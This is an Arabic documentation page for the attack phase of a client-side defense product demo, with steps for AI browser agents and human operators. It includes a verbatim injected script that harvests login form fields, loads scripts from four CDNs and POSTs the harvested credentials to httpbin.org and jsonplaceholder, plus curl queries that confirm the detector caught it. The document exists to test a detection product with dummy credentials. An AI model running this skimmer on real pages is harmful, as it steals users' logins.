- الرئيسية
- الدفاع من جهة العميل
- Demo
- المرحلة 2 — الهجوم
المرحلة 2 — الهجوم
تُولِّد المرحلة 2 حركة مرور هجوم محاكاة ضد التطبيق المحمي وتؤكد أن CSD اكتشفها. يجب أن تكتمل المرحلة 1 — أي أن تنجح جميع فحوصات الخطوة 7 — قبل المتابعة.
الخطوة 8: محاكاة الهجوم
Section titled “الخطوة 8: محاكاة الهجوم”بعد التحقق من البنية التحتية (نجاح جميع فحوصات الخطوة 7 في المرحلة 1)، شغِّل نصوص محاكاة الهجوم لتوليد اكتشافات CSD. تُعرَّف النصوص في دليل اكتشاف التشغيل ومكتبة نصوص الهجوم.
التنفيذ الآلي بالذكاء الاصطناعي
Section titled “التنفيذ الآلي بالذكاء الاصطناعي”تُشغِّل المساعدات الذكية التي تمتلك أدوات أتمتة المتصفح محاكاة الهجوم برمجياً:
- التنقل باستخدام initScript — انتقل أولاً إلى
about:blankلضمان سياق مستند نظيف (لتجنب تراكم initScripts القديمة من التنقلات السابقة)، ثم استخدمnavigate_pageللانتقال إلىhttp://$F5XC_DOMAINNAME/#/loginمعinitScriptيحفظsetIntervalوclearIntervalوfetchوconsole.logالأصلية قبل أن يُعدِّلها zone.js، ويستطلع حقول نموذج تسجيل الدخول، ويملأ بيانات الاعتماد عبر أداة الضبط الأصليةHTMLInputElement.prototype.value، وينفِّذ النص البرمجي للاكتشاف المدمج فوراً. استخدم initScript الحرفي أدناه. - إغلاق لافتة الترحيب — استخدم
press_keyمعEscapeلإغلاق لافتة الترحيب. في الزيارات اللاحقة قد لا تظهر اللافتة (بسبب استمرار ملفات تعريف الارتباط). يُغلَق مربع حوار موافقة ملفات تعريف الارتباط تلقائياً بمفتاح Escape - الانتظار للاكتمال — انتظر 10 ثوانٍ لاكتمال جميع استدعاءات تحميل/خطأ نصوص CDN وحلول وعود fetch
- التقاط الأدلة — استخدم
list_console_messagesللتحقق من وجود[CSD Demo] Simulation completeونتائج تحميل CDN؛ واستخدمlist_network_requestsمُصفَّاً للأنواعscriptوfetchللتحقق من رموز حالة HTTP (200/201للنجاح، وpendingللطلبات المُعلَّقة)
initScript للمرحلة 2 (حرفياً — استخدمه كما هو بالضبط):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);التنفيذ اليدوي
Section titled “التنفيذ اليدوي”يُنفِّذ المشغِّلون الذين لا يمتلكون أدوات أتمتة المتصفح الخطوات يدوياً:
- انتقل إلى صفحة تسجيل الدخول للتطبيق المحمي:
http://xF5XC_DOMAINNAMEx/#/login - أدخل بيانات اعتماد وهمية — اكتب
test@example.comفي حقل البريد الإلكتروني وP@ssword123في حقل كلمة المرور (لا تُرسل النموذج) - افتح أدوات المطورين — اضغط F12 وانتقل إلى علامة تبويب Console
- شغِّل النص البرمجي للاكتشاف المدمج — الصق النص من اكتشاف التشغيل — تشغيل النص البرمجي للمحاكاة المدمجة في وحدة التحكم واضغط Enter
- تحقق من مخرجات وحدة التحكم — تأكد من أن المخرجات المرحلية لـ
[CSD Demo]تُظهر: حصاد حقول النموذج، وحقن النصوص من 4 نطاقات CDN، وتسريب البيانات إلى نقطتَي نهاية
ما الذي يُشغَّل
Section titled “ما الذي يُشغَّل”| الإشارة | السلوك | الاكتشاف |
|---|---|---|
| حصاد حقول النموذج | يقرأ قيم حقلَي البريد الإلكتروني وكلمة المرور | النصوص التي تقرأ حقول النماذج الحساسة — مُصنَّفة بمخاطر عالية |
| حقن النصوص | يحقن 4 وسوم <script> من cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.io | ما يصل إلى 4 نطاقات نصوص طرف ثالث جديدة مكتشفة (يتفاوت توافر CDN) |
| تسريب البيانات | يُرسل البيانات المحصودة عبر fetch إلى www.httpbin.org وjsonplaceholder.typicode.com | استدعاءات شبكة إلى نطاقات خارجية |
الأدلة
Section titled “الأدلة”يجب أن يُبلِّغ المساعد الذكي عما يلي. بالنسبة للتنفيذ الآلي بالذكاء الاصطناعي، تُلتقَط الأدلة برمجياً عبر list_console_messages (تُسجِّل دالة الاستطلاع في initScript النتائج في وحدة التحكم). بالنسبة للتنفيذ اليدوي، يقرأ المشغِّل مخرجات وحدة تحكم المتصفح.
| الفحص | المتوقع | الحالة |
|---|---|---|
| تحميل صفحة تسجيل الدخول | 200 OK عند http://$F5XC_DOMAINNAME/#/login | ناجح / فاشل |
| تنفيذ نص وحدة التحكم | [CSD Demo] Simulation complete في مخرجات وحدة التحكم | ناجح / فاشل |
| الحقول المحصودة | العدد > 0 في مخرجات وحدة التحكم | ناجح |
| النصوص المحقونة | 1-4 نطاقات CDN في مخرجات وحدة التحكم (قد يفشل بعضها بأخطاء الموارد) | ناجح إذا ظهر أي نطاق CDN |
| قنوات التسريب | محاولتا fetch POST في مخرجات وحدة التحكم | ناجح |
الخطوة 9: التحقق من الاكتشاف عبر API
Section titled “الخطوة 9: التحقق من الاكتشاف عبر API”استعلم عن نقاط نهاية CSD API للتأكد من ظهور الاكتشافات. استخدم حلقة الاستطلاع: استعلم عن /detected_domains كل 60 ثانية؛ تابع فور نجاح DET-3. إذا لم ينجح DET-3 بعد 10 دقائق، تحقق من تهيئة CSD. إذا لم ينجح DET-3 بعد 30 دقيقة، أوقف العملية وأبلغ المشغِّل. هذه النقاط موثَّقة في مرجع API وتستخدم نفس المصادقة والمساحة الاسمية من الخطوات السابقة.
النصوص المكتشفة
Section titled “النصوص المكتشفة”استعلم عن النصوص المكتشفة في آخر 24 ساعة:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| الحقل | المتوقع | الحالة |
|---|---|---|
total | > 0 (نصوص مكتشفة) | ناجح إذا > 0؛ معلَّق إذا كان 0 لكن /detected_domains يُظهر نطاقات التسريب |
| أسماء النصوص | يتضمن نطاقات CDN (cdn.jsdelivr.net وesm.sh وunpkg.com وga.jspm.io) في script_name | ناجح إذا ظهرت نطاقات CDN المحقونة |
النطاقات المكتشفة
Section titled “النطاقات المكتشفة”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| الحقل | المتوقع | الحالة |
|---|---|---|
total_domains | > 0 | ناجح إذا > 0 |
| قائمة النطاقات | تتضمن نطاقات CDN والتسريب | ناجح إذا ظهرت النطاقات المتوقعة |
حقول النموذج
Section titled “حقول النموذج”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| الحقل | المتوقع | الحالة |
|---|---|---|
total | > 0 | ناجح إذا > 0؛ معلَّق إذا كان 0 لكن DET-3 ناجح |
name | يتضمن email وpassword | ناجح إذا ظهرت الحقول الحساسة |
sensitivity | Sensitive لحقلَي البريد الإلكتروني وكلمة المرور | ناجح إذا صنَّف التعلم الآلي بصحة |
ملخص أدلة المرحلة 2
Section titled “ملخص أدلة المرحلة 2”بعد جميع استعلامات الاكتشاف، اعرض حالة الاكتشاف النهائية:
| معرِّف الاختبار | الفحص | الحالة |
|---|---|---|
| DET-1 | النصوص مكتشفة (نقطة نهاية /scripts) | ناجح إذا > 0؛ معلَّق إذا كانت فارغة لكن DET-3 ناجح |
| DET-2 | نطاقات CDN مكتشفة | ناجح / فاشل |
| DET-3 | نطاقات التسريب مكتشفة (/detected_domains) | المؤشر الأساسي — ناجح إذا ظهر www.httpbin.org أو jsonplaceholder.typicode.com |
| DET-4 | حقول النموذج مكتشفة (نقطة نهاية /formFields) | ناجح إذا > 0؛ معلَّق إذا كانت فارغة لكن DET-3 ناجح |
اكتملت المرحلة 2. تابع إلى المرحلة 3 — التخفيف لتطبيق قواعد التخفيف والتحقق من حظر النطاقات.